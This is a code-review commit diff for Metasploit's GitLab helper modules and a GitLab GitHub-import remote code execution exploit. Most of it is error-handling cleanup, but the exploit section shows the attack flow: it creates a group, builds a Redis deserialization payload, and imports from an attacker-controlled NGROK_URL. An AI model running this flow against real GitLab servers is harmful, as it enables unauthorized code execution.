Apply suggestions from code review
This commit is contained in:
parent
5c3ac339d0
commit
8aca86b816
|
@ -21,7 +21,9 @@ module Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
|
|||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to create access token' unless res&.code == 200
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to create access token. Unexpected HTTP #{res.code} response." unless res.code == 200
|
||||
|
||||
token = JSON.parse(res.body)['new_token']
|
||||
|
||||
|
@ -39,11 +41,13 @@ module Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
|
|||
'uri' => normalize_uri(target_uri.path, '/api/v4/personal_access_tokens/self'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'PRIVATE-TOKEN' => api_token
|
||||
'PRIVATE-TOKEN' => personal_access_token
|
||||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to revoke access token' unless res&.code == 204
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to revoke access token. Unexpected HTTP #{res.code} response." unless res.code == 204
|
||||
|
||||
nil
|
||||
end
|
||||
|
|
|
@ -15,8 +15,8 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Error
|
|||
|
||||
# Csrf token error
|
||||
class CsrfError < ClientError
|
||||
def initialize
|
||||
super(message: 'Could not successfully extract CSRF token')
|
||||
def initialize(message = 'Could not successfully extract CSRF token')
|
||||
super(message: message)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -18,11 +18,13 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Groups
|
|||
}.to_json
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, 'Unable to create group' if res&.code != 201
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
group_id = JSON.parse(res.body)['id']
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to create group. Unexpected HTTP #{res.code} response." if res.code != 201
|
||||
|
||||
return group_id if group_id
|
||||
group = JSON.parse(res.body)
|
||||
|
||||
return group if group
|
||||
|
||||
nil
|
||||
end
|
||||
|
@ -40,7 +42,9 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Groups
|
|||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, 'Unable to delete group' if res&.code != 202
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to delete group. Unexpected HTTP #{res.code} response." if res.code != 202
|
||||
|
||||
true
|
||||
end
|
||||
|
|
|
@ -30,11 +30,13 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Helpers
|
|||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' if res.nil?
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError unless res&.code == 200
|
||||
|
||||
token = res.body[regex, 1]
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError if token.nil?
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError, "Could not successfully extract CSRF token using the regex #{regex}" if token.nil?
|
||||
|
||||
token
|
||||
end
|
||||
|
|
|
@ -22,14 +22,19 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Import
|
|||
}.to_json
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
# 422 is returned if the import failed, but the response body contains the error message
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, JSON.parse(res.body)['errors'] if res&.code == 422
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, JSON.parse(res.body)['errors'] if res.code == 422
|
||||
# 201 is returned if the import was successfully enqueued
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, 'Import failed' unless res&.code == 201
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, 'Import failed' unless res.code == 201
|
||||
|
||||
id = JSON.parse(res.body)['id']
|
||||
# Example of a successful reposnse body
|
||||
# {"id":54,"name":"gh-import-761","full_path":"/fpXxUqzfQY/gh-import-761","full_name":"fpXxUqzfQY / gh-import-761"}
|
||||
|
||||
return id if id
|
||||
body = JSON.parse(res.body)
|
||||
|
||||
return body if body
|
||||
|
||||
nil
|
||||
end
|
||||
|
|
|
@ -23,7 +23,9 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Signin
|
|||
'vars_post' => gitlab_helper_login_post_data(username, password, csrf_token)
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if res&.code != 302
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if res.code != 302
|
||||
|
||||
cookies = res.get_cookies
|
||||
# Check if a valid gitlab cookie is returned
|
||||
|
@ -50,7 +52,9 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Signin
|
|||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to sign out' unless res&.code == 302 && res&.headers&.fetch('Location', '')&.include?('/users/sign_in')
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to sign out' unless res.code == 302 && res.headers&.fetch('Location', '')&.include?('/users/sign_in')
|
||||
|
||||
true
|
||||
end
|
||||
|
|
|
@ -14,8 +14,8 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Version
|
|||
'uri' => normalize_uri(target_uri.path, '/api/v4/version'),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError unless res&.code == 200
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError unless res.code == 200
|
||||
|
||||
body = JSON.parse(res.body)
|
||||
version = body['version'][Regexp.new(GITLAB_VERSION_PATTERN), 1]
|
||||
|
|
|
@ -29,7 +29,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
then deserialize it when trying to load a user session, resulting in RCE.
|
||||
},
|
||||
'Author' => [
|
||||
'vakzz', # discovery
|
||||
'William Bowling (vakzz)', # discovery
|
||||
'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module
|
||||
'RedWay Security <https://infosec.exchange/@redway>', # PoC
|
||||
],
|
||||
|
@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def api_token
|
||||
@api_token ||= gitlab_create_access_token
|
||||
@api_token ||= gitlab_create_personal_access_token
|
||||
end
|
||||
|
||||
def session_id
|
||||
|
@ -128,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return unless @import_id
|
||||
|
||||
gitlab_delete_group(@group_id, api_token)
|
||||
gitlab_revoke_access_token(api_token)
|
||||
gitlab_revoke_personal_access_token(api_token)
|
||||
gitlab_sign_out
|
||||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
|
||||
print_error("#{e.class} - #{e.message}")
|
||||
|
@ -156,12 +156,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
vprint_status("Session ID: #{session_id}")
|
||||
vprint_status("Creating group #{group_name}")
|
||||
# We need group id for the clenaup method
|
||||
@group_id = gitlab_create_group(group_name, api_token)
|
||||
@group_id = gitlab_create_group(group_name, api_token)['id']
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
|
||||
@redis_payload = redis_payload(cmd)
|
||||
# import a repository from github
|
||||
vprint_status('Importing a repository from github')
|
||||
@import_id = gitlab_import_github_repo(group_name, datastore['NGROK_URL'], api_token)
|
||||
@import_id = gitlab_import_github_repo(
|
||||
group_name: group_name,
|
||||
github_hostname: datastore['NGROK_URL'],
|
||||
api_token: api_token
|
||||
)['id']
|
||||
# binding.pry
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to import a repository from github') unless @import_id
|
||||
# wait for the import tasks to finish
|
||||
select(nil, nil, nil, datastore['IMPORT_DELAY'])
|
||||
# execute the payload
|
||||
|
|
Loading…
Reference in New Issue